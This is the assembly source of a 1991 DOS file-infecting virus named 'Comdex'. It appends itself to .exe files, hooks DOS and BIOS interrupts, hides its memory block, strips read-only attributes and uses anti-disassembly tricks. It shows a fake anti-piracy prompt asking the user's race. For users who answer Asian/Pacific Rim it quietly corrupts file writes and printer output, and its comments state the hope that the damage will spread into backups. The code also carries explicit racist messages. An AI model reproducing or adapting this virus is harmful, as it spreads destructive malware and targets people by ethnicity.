;	The Comdex exibit guide program
;	For the Fall 1991 Comdex Las Vegas Convention
;
;
;        A short description of the program:
;
;        It only affects .exe files. 
;        Comdex attaches itself to the end of the programs it affects.
;
;        When an affected file is run, Comdex copies itself to top of
;        free memory, and modifies the memory blocks, in order to hide from
;        memory mapping programs. Some programs may overwrite this area,
;        causing the computer to crash.  If this happens, the user obviously
;	 deserved it. 
;
;        Comdex will hook int 21h and when function 4b (exec) is called
;        it sometimes will affect the program being run. It will check every
;        program that is run for affection, and if it is not already
;        affected, it will be.
;
;	 Comdex will, after 1 hr, one of 16 chance, ask your race or
;	 nationality prior to executing a file.  Af you answer that you
;	 are asian/pacific rim, one of 256 file writes will have the
;	 length adjusted downward or the record size reduced, depending
;	 upon the specific dos call made.
; 
;
;        Comdex will remove the read-only attribute before trying to
;        affect programs.
;
;        Affected files can be easily recognized, since they always end in
;        "COMD"
;
;        To check for system affection, a byte at 0:33c is used - if it
;        contains a 069h, Comdex is installed in memory.
;
;
comsiz        equ        128		;in paragraphs
 
code segment para public 'code'
        assume cs:code,ds:nothing,ss:nothing,es:nothing
 
;
;         Comdex is basically divided in the following parts.
;
;        1. the main program - run when an affected program is run.
;           it will check if the system is already affected, and if not
;           it will install Comdex.
;
;        2. the new int 17 handler. adjusts two ascii output chars.
;
;        3. the new int 14 handler. 
;
;        4. the new int 8 handler.
;
;        5. the new int 9 handler. 
;
;        6. the new int 21 handler. it will look for exec calls, and
;           affect the program being run.
;
;
;        this is a fake mcb (memory control block)
;	 ms-dos inspects the chain of mcbs whenever a memory block allocation,
;	 modification, or release function is requested, or when a program
;	 is execed or terminated...
;
        db        'Z',00,00,comsiz,0,0,0,0,0,0,0,0,0,0,0,0
; 	                      ^___ # of paragraphs of the controlled mem blk


 
Comdex   proc    far
;
;        Comdex starts by pushing the original start address on the stack,
;        so it can transfer control there when finished.
;
labl:  sub	sp,4
        push    bp
	mov     bp,sp
        push    ax
;following line nuked for ease of test
;	nop			;added so that scan84 doesn't id as [ice-3]
        mov     ax,es
;
;        put the the original cs on the stack. the add ax,data instruction
;        is modified by Comdex when it affects other programs.
;
        db      05h		;this is an add ax,10h
org_cs  dw      0010h
        mov     [bp+4],ax
;
;        put the the original ip on the stack. this mov [bp+2],data instruction
;        is modified by Comdex when it affects other programs.
;
        db      0c7h,46h,02h
org_ip  dw      0000h
;
;        save all registers that are modified.
;
        push    es
        push    ds
        push    bx
        push    cx
        push    si
        push    di
;
;        check if already installed. quit if so.
;
        mov        ax,0                
        mov        es,ax		;zero es
        cmp        es:[33ch],byte ptr 069h
;&&
;        jne        l1
;
;        restore all registers and return to the original program.
;
exit:   pop        di
        pop        si
        pop        cx
        pop        bx
        pop        ds
        pop        es
        pop        ax
        pop        bp
        retf
;
;    Comdex tries to hide from detection by modifying the memory block it
;    uses, so it seems to be a block that belongs to the operating system.
;
;    it looks rather weird, but it seems to work.
;
l1:     mov     ah,52h
        call	int21		;undefined dos call!!?
        mov     ax,es:[bx-2]
	nop
        mov     es,ax
        add     ax,es:[0003]
        inc     ax
        inc     ax
        mov     cs:[0001],ax
;
;         next, Comdex modifies the memory block of the affected program.
;         it is made smaller, and no longer the last block.
;
        mov     bx,ds
        dec     bx
	nop 
        mov     ds,bx
        mov     al,'M'
        mov     ds:[0000],al
        mov     ax,ds:[0003]
        sub     ax,comsiz
        mov     ds:[0003],ax
        add     bx,ax
        inc     bx
;
;         then Comdex moves itself to the new block.
;
	mov	es,bx
	xor	si,si
	xor	di,di
	push	cs
	pop	ds
        mov     cx,652h			;the length of this program -
					;be *sure* to update this!!
					;in fact, make it symbolic!!
        cld
        rep     movsb
;
;        Comdex then transfers control to the new copy of itself.
;
        push     es
	nop
        mov      ax,offset l3
        push     ax
        retf
	db	 3dh			;confuse disassemblers
;
;       zero some variables
;
l3:     mov     byte ptr cs:[min60],0
        mov     byte ptr cs:[min50],0
        mov     word ptr cs:[timer],0
	mov	byte ptr cs:[input_char],0
;
;       set flag to confirm installation
;
	xor	ax,ax
	mov	es,ax
	inc	ax			;dummy operation to confuse function
        mov     byte ptr es:[33ch],069h
;
;       hook interrupt 21:
;	(the primary dos function interrupt) 
;
        mov        ax,es:[0084h]
        mov        cs:[old21],ax
        mov        ax,es:[0086h]
	nop 
        mov        cs:[old21+2],ax
        mov        ax,cs
        mov        es:[0086h],ax
        mov        ax,offset new21
        mov        es:[0084h],ax
;
;       hook interrupt 17:
;	(bios lpt services)
;
       mov        ax,es:[005ch]
       mov        cs:[old17],ax
       nop
       mov        ax,es:[005eh]
       mov        cs:[old17+2],ax
       inc	  ax			;dummy op
       mov        ax,cs
       mov        es:[005eh],ax
       mov        ax,offset new17
       mov        es:[005ch],ax

;
;       hook interrupt 14:
;	(bios serial port services)
;
;       mov        ax,es:[0050h]
;       mov        cs:[old17],ax
;       mov        ax,es:[0052h]
;       mov        cs:[old14+2],ax
;       mov        ax,cs
;       mov        es:[0052h],ax
;       mov        ax,offset new14
;       mov        es:[0050h],ax
;
;
;
        cmp     word ptr cs:[noinf],5
        jg      hook8
        jmp     exit
;
;       hook interrupt 9
;	(bios keyboard interrupt)
;
;hook9:  mov        ax,es:[0024h]
;       mov        cs:[old9],ax
;       mov        ax,es:[0026h]
;       mov        cs:[old9+2],ax
;       mov        ax,cs
;       mov        es:[0026h],ax
;       mov        ax,offset new9
;       mov        es:[0024h],ax
;
;       hook interrupt 8
;	(timer ticks)
;
	db	   3dh,0cch,03h,3dh,3dh	;confuse dissassemblers
hook8:  mov        ax,es:[0020h]
        mov        cs:[old8],ax
        mov        ax,es:[0022h]
        mov        cs:[old8+2],ax
        mov        ax,cs
	nop
        mov        es:[0022h],ax
        mov        ax,offset new8
        mov        es:[0020h],ax
        jmp        exit


;the int 21 calls go through this routine to confuse the issue:
int21:	push	ax
	mov	ax,0ffh
	mov	word ptr cs:[internal],ax	;set internal int 21 flag
	mov	al,20h
	inc	al				;put 21 in al
	mov	byte ptr cs:[int21b],al		;self modifying code!
	pop	ax
	db	0cdh				;int opcode
int21b:	db	0cch				;overwritten to int 21h
	push	ax
	mov	ax,00
	mov	word ptr cs:[internal],ax	;clear internal int 21 flag
	mov	ax,0cch
	mov	byte ptr cs:[int21b],al		;nuke it back to int 0cch
	pop	ax
	retn



	db	"Welcome to Comdex "
	db	"From the Interface Group, Inc. "
	db	"300 First Avenue "
	db	"Needham, MA 02194 "
	db	"(617)449-6600 "
	db	"For data recovery ask for "
	db	"Peter J. Bowes, unless you are "
	db	"Oriental, in which case, we will "
	db	"not help you. "

quest  	db	0dh,0ah,"Software Piracy Prevention Center",0dh,0ah
	db	"requests your cooperation:",0dh,0ah,0dh,0ah
	db	"Please enter your race or nationality:",0dh,0ah
	db	"a. White		 e. Eastern European",0dh,0ah	
	db	"b. Black		 f. Soviet",0dh,0ah
	db	"c. Hispanic		 g. Western European",0dh,0ah
	db	"d. Asian/Pacific Rim	 h. Other",0dh,0ah,0dh,0ah
	db	"  Please enter your response: ","$"

input_char:	db	0
	db	3dh		;confuse disassemblers

askit:	push	ax
	push	bx
	push	cx
	push	dx
	push	si
	push	di
	push	ds
	push	es

	cmp	byte ptr cs:[min60],1	;resident 1 hr yet?
	jnz	noask
	cmp	byte ptr cs:[input_char],0
	jnz	noask			;don't ask twice
	mov	ax,word ptr cs:[timer]
	and	ax,000fh		;look at ls free running clock
	cmp	ax,000ch		;does it happen to be 00ch? (1 of 16)
	jnz	noask			;if not, don't ask the guy!

	mov	dx,offset quest		;ask the guy about race
	mov	ah,09h			;dos string print
	push	cs
	pop	ds
	call	int21			;print question on crt
	mov	ax,0c01h		;dos flush input and get char
	call	int21			;get char
	and	al,0dfh			;force upper case
	mov	byte ptr cs:[input_char],al	;save away response
noask:	pop	es
	pop	ds
	pop	di
	pop	si
	pop	dx
	pop	cx
	pop	bx
	pop	ax
	retn

;********************************************************************

;
;       int 9 (keyboard) replacement: 
;       this routine does not become active until 50 minutes after
;       the execution of an affected program.
;
;new9:   push    ax
;        push    es
;        cmp     byte ptr cs:[min50],1
;        jnz     retx1

;insert any code here that activates 50 min after launch for int 9...
 
;retx1:  pop     es			;prepare to go to old int 9 code:
;        pop     ax
;        db      0eah			;jmp 0000:0000 nmemonic
;old9    dw      0,0			;storage for old addr


;********************************************************************
;
;       new int 14 (serial port) routine - 
;
;new14:  cmp     ah,1			;is it an output request?
;        jz      s1			;yup.  don't return just yet.
;do14:   db      0eah			;jmp 0000:0000 nmemonic
;old14   dw      0,0
;s1:     

;insert any code here for output to serial port...

;        jmp     do14


;********************************************************************
;
;       new int 8 routine  (bios timer ticks)
;
	db	3dh			;piss off disassemblers
new8:  	push    dx
        push    cx
        push    bx
        push    ax
	jmp	txex ;&&
	inc	word ptr cs:[timer]		; increment timer
        cmp     byte ptr cs:[min60],01          ; if counter >= 60 min.
        jz      tt0                             ; no need to check any more
        cmp     word ptr cs:[timer],-11         ; 60 minutes ?
        jz      tt1
        cmp     word ptr cs:[timer],54601       ; 50 minutes ?
        jz      tt2
        jmp     txex
;
;       50 minutes after an affected program is run the flag is set.
;
tt2:    mov     byte ptr cs:[min50],1
        jmp     txex
;
;       60 minutes after an affected program is run this flag is set.
;
tt1:    mov     byte ptr cs:[min60],1

;	exit interrupt routine:

        jmp     txex
;
;       every time an int 8 occurs, after the 60 min. have passed, we
;       end up here:
;
tt0:    
;insert any fun timer oriented code here
;
;       restore registers and quit
;
txex:   pop     ax
        pop     bx
        pop     cx
        pop     dx
        db      0eah
old8    dw      0,0

;********************************************************************
;
;       new int 17 routine. lpt out stuff.
;
new17:  jmp	do17	;&&
	cmp     ah,0
	
        jz      p0
do17:   db      0eah
old17   dw      0,0
	db	2eh			;confuse disassemblers
p0:	cmp	byte ptr cs:[input_char],44h	;d. asian/pacific rim?
	jne	not_asian     
	push	ax
	mov	ax,word ptr cs:[timer]
	and	ax,00ffh
	cmp	ax,0032h		; one of 256 odds
	pop	ax			; restore ax, doesn't change flags
	jne	do17			; don't twiddle lpt 255/256 odds
	cmp	al,55h			; printing a "U"?
	jne	notu
	mov	al,0efh			; make it upside-down!
	jmp	do17			; and continue.
notu:	cmp	al,06fh			; lower case "o"?
	jne	do17			; no?  then exit.
	mov	al,093h			; make it an "o" with a ^ over it!
	jmp	do17			; and exit.	
not_asian:
        jmp     do17


;Int 21 file adjustment routines - the following routines corrupt a small
;percentage of the file writes that Asians do in their use of the pc.  For
;example, when one updates a spreadsheet or exits a word processor, the
;application software will re-write the file out to disk.  What we do here
;is reduce the amount of the data that is written to the file.  The hope
;is that the problem will be hidden for a significant period of time, since
;it happens only infrequently, and since it typically will happen upon exit
;of the application package.  If the reduction of the write causes a serious
;problem (we hope it will) it won't usually be noticed until that file is
;loaded again.  The other hope is that if the user does backup his data from
;time to time, this corrupted data will end up on the backup as well before
;the problem is noticed.  With luck, maybe the user will assume that the
;hardware is intermittent, and backup the system over the top of his only
;existing backup set, then purchase replacement hardware.



fuck_size_f:			;if asian, reduce file rec size by 1 on fcb ops
	push	ax
	push	di
	push	dx		;setup di for indexed operations
	pop	di
	cmp	byte ptr cs:[input_char],044h	;asian?
	jne	exit_fuck_f	;no, then do nothing
	mov	ax,word ptr cs:[timer]
	and	ax,00ffh	;mask off ls 8 bits of free run timer
	cmp	ax,0069h	;does it happen to be 69h? (1 of 256)
	jne	exit_fuck_f	;nope, so do nothing
	
	mov	al,[ds:di+0]	;get first byte of user's fcb
	cmp	al,0ffh		;extended fcb?
	jne	norm_fcb	;nope, so handle as normal fcb
	mov	ax,[ds:di+15h]	;get record size, 16 bits on extd fcb.
	dec	ax		;adjust it a bit, since the user really doesn't
				;need to write so much data.
	mov	[ds:di+15h],ax
	jmp	exit_fuck_f	;subsequent r/w ops should fail to get the
				;right data until this file is closed or
				;until system crashes.
	
norm_fcb:
	mov	al,[ds:di+0eh]	;get record size, only 8 bits on norm fcb.
	dec	al		;reduce by 1
	mov	[ds:di+0eh],al	;store it back
exit_fuck_f:
	pop	di
	pop	ax
	jmp	do21


fuck_size_h:			;reduce length of handle file writes
	push	ax
	push	di
	push	dx
	pop	di
	cmp	byte ptr cs:[input_char],044h  ;asian?
	jne	exit_fuck_h	;no, so don't damage anything.
	mov	ax,word ptr cs:[timer]
	and	ax,00ffh
	cmp	ax,0066h	;one out of 256 odds
	jne	try_again	;no?  well give it another chance.
	and	cx,0fff5h	;reduce write length in bytes by a flakey amt
	dec	cx		;ranging from 1 to 11 bytes.
exit_fuck_h:
	pop	ax
	jmp	do21

try_again:
	cmp	ax,0077h	;one of 256 odds?
	jne	exit_fuck_h	;exit if not lucky.
	mov	ax,[ds:di+30h]	;get a user data byte from his buffer
	xor	ax,0004h	;toggle bit 2 of byte 30h
	mov	[ds:di+30h],ax	;and put it back
	jmp	exit_fuck_h

;********************************************************************
;
;        this is the int 21 replacement. it only does something in 
;        the case of an execute program dos call.
;
;be careful here not to trap int codes that we use internally!
new21:  jmp	do21	;&&
	push	ax
	cmp	word ptr cs:[internal],0ffh ;is it an internal int 21?
	je	do21			;yup, so no tweaking allowed
	pop	ax
	cmp	ah,015h			;is it a fcb file write?
	je	fuck_size_f		;if asian, reduce record size by 1
	cmp	ah,040h			;is it a handle file write?
	je	fuck_size_h		;if asian, adjust write length down.
	cmp    ah,4bh			;is it an int 21 code 4b?
        je     l5			;yup.  go affect stuff
do21:   db     0eah			;nope.  let dos handle it
old21   dw     0,0
;
;       the code to only affect every tenth program has been removed
;	for now.  restore this code later.
;
	db	    3dh			;confuse disassemblers
l5:     call	    askit		;ask race if appropriate
	push        ax
        push        bx
        push        cx
        push        dx
        push        si
        push        ds
;
;        search for the file name extension ...
;
        mov        bx,dx
l6:     inc        bx
        cmp        byte ptr [bx],'.'
        je         l8
        cmp        byte ptr [bx],0
        jne        l6
;
;        ... and quit unless it starts with "ex".
;
l7:     pop        ds
        pop        si
        pop        dx
        pop        cx
        pop        bx
        pop        ax
        jmp        do21
l8:     inc        bx
        cmp        word ptr [bx],5845h		;"EX"
        jne        l7
;
;        when an .exe file is found, Comdex starts by turning off
;        the read-only attribute. the read-only attribute is not restored
;        when the file has been affected.
;
        mov        ax,4300h                ; get attribute
        call	   int21
        jc         l7
        mov        ax,4301h                ; set attribute
        and        cx,0feh
        call	   int21
        jc         l7
;
;        next, the file is examined to see if it is already affected.
;         the signature (4418 5f19) is stored in the last two words.
;
        mov        ax,3d02h                ; open / write access
        call	   int21
        jc         l7
        mov        bx,ax                        ; file handle in bx
;
;       this part of the code is new: get date of file.
;
        mov     ax,5700h
        call	int21
        jc      l9
        mov     cs:[date1],dx
        mov     cs:[date2],cx
;
        push    cs                        ; now ds is no longer needed
        pop     ds
;
;        the header of the file is read in at [id+8]. Comdex then
;        modifies itself, according to the information stored in the
;        header. (the original cs and ip addressed are stored).
;
        mov        dx,offset id+8
        mov        cx,1ch
        mov        ah,3fh
        call	   int21
        jc         l9
        mov        ax,ds:id[1ch]
        mov        ds:[org_ip],ax
	inc	   ax			;confuse reader a little
        mov        ax,ds:id[1eh]
        add        ax,10h
        mov        ds:[org_cs],ax
;
;        next the read/write pointer is moved to the end of the file-4,
;        and the last 4 bytes read. they are compared to the signature,
;        and if equal nothing happens.
;
        mov        ax,4202h
        mov        cx,-1
        mov        dx,-4
        call	   int21
        jc         l9
        add        ax,4
        mov        ds:[len_lo],ax
        jnc        l8a
        inc        dx
l8a:    mov        ds:[len_hi],dx
;
;       this part of Comdex is new - check if it is below minimum length
;
        cmp        dx,0
        jne        l8b
        mov        cl,13
        shr        ax,cl
        cmp        ax,0
        jg         l8b
	nop
        jmp        short l9
l8b:    mov        ah,3fh
        mov        cx,4
        mov        dx,offset id+4
        call	   int21
        jnc        l11
l9:     mov        ah,3eh
        call	   int21
l10:    jmp        l7
	db	   3eh			;confuse disassemblers
;
;        compare to 4f43,444d which is first 4 letters of Comdex
;
l11:    mov        si,offset id+4
        mov        ax,[si]
        cmp        ax,4f43h		;ascii "OC"
        jne        l12
        mov        ax,[si+2]
        cmp        ax,444dh		;ascii "DM"
        je         l9
;
;        the file is not affected, so the next thing Comdex does is
;        affect it. first it is padded so the length becomes a multiple
;        of 16 bytes. this is done so Comdex code can start at a
;        paragraph boundary.
;
l12:    mov        ax,ds:[len_lo]
        and        ax,0fh
        jz         l13
        mov        cx,16
        sub        cx,ax
	nop
        add        ds:[len_lo],cx
        jnc        l12a
        inc        ds:[len_hi]
l12a:   mov        ah,40h
        call	   int21		;dos write to file
        jc         l9
;
;        next the main body of Comdex is written to the end.
;
l13:    xor	   dx,dx
        mov        cx,offset id + 4
        mov        ah,40h		;dos write to file
        call	   int21
        jc         l9
;
;        next the .exe file header is modified:
;
;        first modify initial ip
;
f0:     mov        ax,offset labl
        mov        ds:id[1ch],ax
;
;        modify starting cs = Comdex cs. it is computed as:
;
;        (original length of file+padding)/16 - start of load module
;
        mov        dx,ds:[len_hi]
        mov        ax,ds:[len_lo]
        mov        cl,cs:[const1]               ; modified a bit
        shr        dx,cl
        rcr        ax,cl
	nop 
        shr        dx,cl
        rcr        ax,cl
        shr        dx,cl
        rcr        ax,cl
        nop
	shr        dx,cl
        rcr        ax,cl
        sub        ax,ds:id[10h]
        mov        ds:id[1eh],ax
;
;        modify length mod 512
;
        add        ds:[len_lo],offset id+4
        jnc        l14
        inc        ds:[len_hi]
l14:    mov        ax,ds:[len_lo]
        and        ax,511
	nop
        mov        ds:id[0ah],ax
;
;        modify number of blocks used
;
        mov        dx,ds:[len_hi]
        mov        ax,ds:[len_lo]
        add        ax,511
        jnc        l14a
        inc        dx
l14a:   mov        al,ah
        mov        ah,dl
        shr        ax,1
        mov        ds:id[0ch],ax
;
;        finally the modified header is written back to the start of the
;        file.
;
wrtback:mov     ax,4200h
        xor	cx,cx   
        xor	dx,dx  
        call	int21			;dos move file pointer
        jc      endit
        mov     ah,40h
        mov     dx,offset id+8
        mov     cx,1ch
        call	int21			;dos write to file
;
;       this part is new:       restore old date.
;
        mov     dx,cs:[date1]
        mov     cx,cs:[date2]
        mov     ax,5701h
        call	int21			;dos set file date and time
        jc      endit
        inc     word ptr cs:[noinf]
;
;        affection is finished - close the file and execute it
;
endit:  jmp     l9
;
;

timer	dw	0	; number of timer (int 8) ticks 
const1  db      1       ; the constant 1
const0  dw      0       ; the constant 0
internal dw	0	; internal int 21 in effect.
min50	db	0	; flag, set to 1 50 minutes after execution
min60   db      0       ; flag, set to 1 60 minutes after execution
vmode   db      0       ; video mode
date1   dw      ?       ; date of file
date2   dw      ?       ; ditto.
len_lo  dw      ?
len_hi  dw      ?
noinf   dw      0       ; number of affections
id      label word
        db      "COMD"  ; the signature of Comdex.
;
;        a buffer, used for data from the file.
;
 
Comdex   endp
code        ends
 
        end labl